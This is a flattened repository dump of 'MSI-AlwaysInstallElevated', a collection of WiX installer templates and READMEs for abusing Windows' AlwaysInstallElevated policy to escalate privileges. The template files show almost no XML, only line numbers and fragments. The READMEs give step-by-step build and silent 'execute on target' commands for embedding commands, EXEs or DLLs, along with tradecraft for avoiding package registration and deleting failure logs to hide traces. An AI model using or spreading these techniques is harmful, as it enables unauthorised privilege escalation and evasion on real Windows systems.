├── .gitignore ├── WXS-Templates ├── alwaysInstallElevated-1.wxs ├── alwaysInstallElevated-3.wxs ├── alwaysInstallElevated-5.wxs ├── README.md ├── alwaysInstallElevated-2.wxs └── alwaysInstallElevated-4.wxs └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | T/ -------------------------------------------------------------------------------- /WXS-Templates/alwaysInstallElevated-1.wxs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /WXS-Templates/alwaysInstallElevated-3.wxs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 30 | 31 | 32 | NOT REMOVE~="ALL" 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /WXS-Templates/alwaysInstallElevated-5.wxs: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 35 | Impersonate='yes' 36 | /> 37 | 38 | 39 | 40 | 41 | NOT REMOVE~="ALL" 42 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MSI-AlwaysInstallElevated 2 | A Collection of templates that can be used for abusing window's AlwaysInstallElevated policy 3 | 4 | 5 | 6 | ## WXS Templates 7 | 8 | * **alwaysInstallElevated-1.wxs** 9 | * a wxs template to execute system commands. 10 | * **alwaysInstallElevated-2.wxs** 11 | * a wxs template to execute command then intentionally fails so it won't be registered as an installed program. 12 | * **alwaysInstallElevated-3.wxs** 13 | * a wxs template to embed executable (exe) file into the msi package and execute it during installation. 14 | * **alwaysInstallElevated-4.wxs** 15 | * a wxs template combines the techniques of `alwaysInstallElevated-2` and `alwaysInstallElevated-3` templates. 16 | 17 | ### Instructions 18 | #### Windows 19 | 1. Change the first `ExeCommand` variable to desired command 20 | 2. Download the [WiX Toolset Binaries](https://github.com/wixtoolset/wix3/releases/tag/wix3112rtm) 21 | 3. Compile alwaysInstallElevated.msi by running: 22 |     `candle alwaysInstallElevated.wxs` 23 |     `light alwaysInstallElevated.wixobj` 24 | 4. Execute on target by running: 25 |     `alwaysInstallElevated.msi /q` 26 | - or use `msiexec` implecitely 27 | 28 | `msiexec /i alwaysInstallElevated.msi /qn` 29 | - To uninstall it 30 | 31 | `msiexec /x alwaysInstallElevated.msi /qn` 32 | 33 | #### Linux 34 | 1. Change the first 35 | 2. Install wixl package 36 | ``` 37 | sudo apt install wixl 38 | ``` 39 | 3. Compile the `.wsx` file 40 | ``` 41 | wixl -v options.wsx -o alwaysInstallElevated.msi 42 | ``` 43 | 4. Execute on target by running: 44 |     `alwaysInstallElevated.msi /q` 45 | - or use `msiexec` implecitely 46 | 47 | `msiexec /i alwaysInstallElevated.msi /qn` 48 | - To uninstall it 49 | 50 | `msiexec /x alwaysInstallElevated.msi /qn` 51 | -------------------------------------------------------------------------------- /WXS-Templates/README.md: -------------------------------------------------------------------------------- 1 | # WXS Templates 2 | 3 | ## Templates description 4 | 5 | ### ⟿ alwaysInstallElevated-1.wxs 6 | a wxs template to execute system commands. 7 | 8 | ### ⟿ alwaysInstallElevated-2.wxs 9 | a wxs template to execute command then intentionally fails so it won't be registered as an installed program. 10 | 11 | **Important Treadcraft:** 12 | 13 | Although forcing MSI installation to fail saves us registring the package on the system, 14 | It leaves a log file `C:\Users\\AppData\Local\Temp\.log*` for that failure on disk exposing details about the msi package 15 | example: 16 | ``` 17 | Error 1721. There is a problem with this Windows Installer package. A program required for this install to complete could not be run. 18 | Contact your support personnel or package vendor. 19 | Action: z_gonna_fail, location: C:\Users\\AppData\Local\Temp\, command: C:\Users\\AppData\Local\Temp\>PATH>\asdfasdfasdf.exe 20 | === Logging stopped: 8/5/2020 12:23:06 === 21 | ``` 22 | 23 | To *partially* solve this issue, specify the log path to the current path with logging fatal errors only (then delete the log file yourself), as the following 24 | ``` 25 | msiexec /i malware.msi /qn /Lm deleteme.log 26 | ``` 27 | 28 | ### ⟿ alwaysInstallElevated-3.wxs 29 | a wxs template to embed executable (exe) file into the msi package and execute it during installation. 30 | 31 | ### ⟿ alwaysInstallElevated-4.wxs 32 | a wxs template combines the techniques of `alwaysInstallElevated-2`and `alwaysInstallElevated-3` templates. 33 | 34 | 35 | ### ⟿ alwaysInstallElevated-5.wxs 36 | a wxs template to embed executable (DLL) file into the msi package and execute it (based on its entry function) during installation. 37 | 38 | ## Resources 39 | * https://stackoverflow.com/questions/854873/how-to-make-an-msi-that-simply-wraps-an-exe-file 40 | * https://serverfault.com/questions/11670/the-corporate-benefits-of-using-msi-files/274609#274609 41 | * https://isc.sans.edu/forums/diary/Malware+Delivered+via+Windows+Installer+Files/23349/ 42 | * https://wixtoolset.org/documentation/manual/v3/xsd/wix/customaction.html 43 | -------------------------------------------------------------------------------- /WXS-Templates/alwaysInstallElevated-2.wxs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 34 | 35 | 36 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /WXS-Templates/alwaysInstallElevated-4.wxs: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 9 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 40 | 41 | 57 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | NOT REMOVE~="ALL" 72 | 73 | 74 | 75 | 76 | --------------------------------------------------------------------------------